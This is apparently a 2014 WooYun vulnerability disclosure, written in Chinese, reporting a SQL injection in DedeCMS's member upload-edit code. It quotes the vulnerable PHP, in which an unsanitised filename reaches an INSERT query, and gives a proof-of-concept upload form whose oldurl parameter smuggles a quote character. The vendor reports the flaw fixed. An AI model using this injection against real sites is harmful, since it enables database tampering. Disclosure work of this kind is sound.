漏洞详情

披露状态:

2014-01-14: 细节已通知厂商并且等待厂商处理中
2014-01-14: 厂商已经确认,细节仅向厂商公开
2014-01-17: 细节向第三方安全合作伙伴开放
2014-01-24: 细节向核心白帽子及相关领域专家公开
2014-02-03: 细节向普通白帽子公开
2014-02-23: 细节向实习白帽子公开
2014-04-14: 细节向公众公开

简要描述:

我是来继续做贡献的~

详细说明:

member/upload_edit.php
else if($dopost=='save')
{
$title = HtmlReplace($title,2);
if($mediatype==1) $utype = 'image';
else if($mediatype==2)
{
$utype = 'flash';
}
else if($mediatype==3)
{
$utype = 'media';
}
else
{
$utype = 'addon';
}
$title = HtmlReplace($title, 2);
$exname = preg_replace("#(.*)/#", "", $oldurl);// 文件名是获取.前面的
$exname = preg_replace("#\.(.*)$#", "", $exname);
echo $exname ;
$filename = MemberUploads('addonfile', $oldurl, $cfg_ml->M_ID,

$utype,$exname, -1, -1, TRUE);//返回上传的文件名
SaveUploadInfo($title, $filename, $mediatype);//利用返回的带入查询
ShowMsg("成功修改文件!", "uploads_edit.php?aid=$aid");
}



function SaveUploadInfo($title,$filename,$medaitype=1,$addinfos='')
{
global $dsql,$cfg_ml,$cfg_basedir;
if($filename=='')
{
return FALSE;
}
if(!is_array($addinfos))
{
$addinfos[0] = $addinfos[1] = $addinfos[2] = 0;
}
if($medaitype==1)
{
$info = '';
$addinfos = GetImageSize($cfg_basedir.$filename,$info);
}
$addinfos[2] = @filesize($cfg_basedir.$filename);
$row = $dsql->GetOne("SELECT aid,title,url FROM `#@__uploads` WHERE url

LIKE '$filename' AND mid='".$cfg_ml->M_ID."'; ");
$uptime = time();
if(is_array($row))
{
$query = "UPDATE `#@__uploads` SET

title='$title',mediatype='$medaitype',
width='{$addinfos[0]}',height='{$addinfos

[1]}',filesize='{$addinfos[2]}',uptime='$uptime'
WHERE aid='{$row['aid']}'; ";
$dsql->ExecuteNoneQuery($query);
}
else
{
$inquery = "INSERT INTO `#@__uploads`

(title,url,mediatype,width,height,playtime,filesize,uptime,mid)
VALUES ('$title','$filename','$medaitype','".$addinfos

[0]."','".$addinfos[1]."','0','".$addinfos[2]."','$uptime','".$cfg_ml-

>M_ID."'); ";echo $inquery ;//注入就在这里发生了!
$dsql->ExecuteNoneQuery($inquery);
}
$fid = $dsql->GetLastID();
AddMyAddon($fid, $filename);
return TRUE;
}

漏洞证明:

利用方法
<form id="frmUpload" enctype="multipart/form-data"

action="http://127.0.0.1/dede/member/uploads_edit.php?

dopost=save&title=ss&oldurl=1'.php" method="post">看Oldurl就知道了~


<input type="file" name="addonfile" id="addonfile" size="50"><br>
<input name="mode" type="hidden" value="2">

<input id="btnUpload" type="submit" value="Upload">

</form>



1.png

修复方案:

过滤啊!

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-01-14 22:24

厂商回复:

已修复,感谢反馈

最新状态:

暂无


漏洞评价: